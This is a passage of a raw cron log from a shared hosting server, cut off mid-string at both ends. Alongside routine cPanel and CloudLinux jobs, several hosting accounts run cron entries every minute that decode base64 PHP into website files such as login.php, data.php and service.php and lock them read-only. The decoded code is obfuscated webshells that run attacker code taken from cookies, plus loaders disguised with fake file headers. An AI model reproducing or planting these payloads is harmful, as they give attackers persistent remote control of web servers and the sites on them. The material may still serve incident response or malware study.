93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:56:02 medusa CROND[15486]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:56:02 medusa CROND[15489]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:56:02 medusa CROND[15491]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:56:02 medusa CROND[15492]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 17:56:02 medusa CROND[15494]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:56:02 medusa CROND[15495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:56:02 medusa CROND[15496]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 17:56:02 medusa CROND[15497]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:56:02 medusa CROND[15507]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:57:01 medusa CROND[7512]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:57:01 medusa CROND[7608]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 17:57:01 medusa CROND[7609]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:57:01 medusa CROND[7611]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:57:01 medusa CROND[7612]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:57:01 medusa CROND[7613]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:57:01 medusa CROND[7615]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:57:01 medusa CROND[7617]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:57:01 medusa CROND[7618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:57:01 medusa CROND[7622]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:57:01 medusa CROND[7610]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:57:01 medusa CROND[7624]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:58:01 medusa CROND[32102]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 17:58:01 medusa CROND[32223]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:58:01 medusa CROND[32224]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:58:01 medusa CROND[32225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:58:01 medusa CROND[32226]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:58:01 medusa CROND[32227]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 17:58:01 medusa CROND[32229]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo 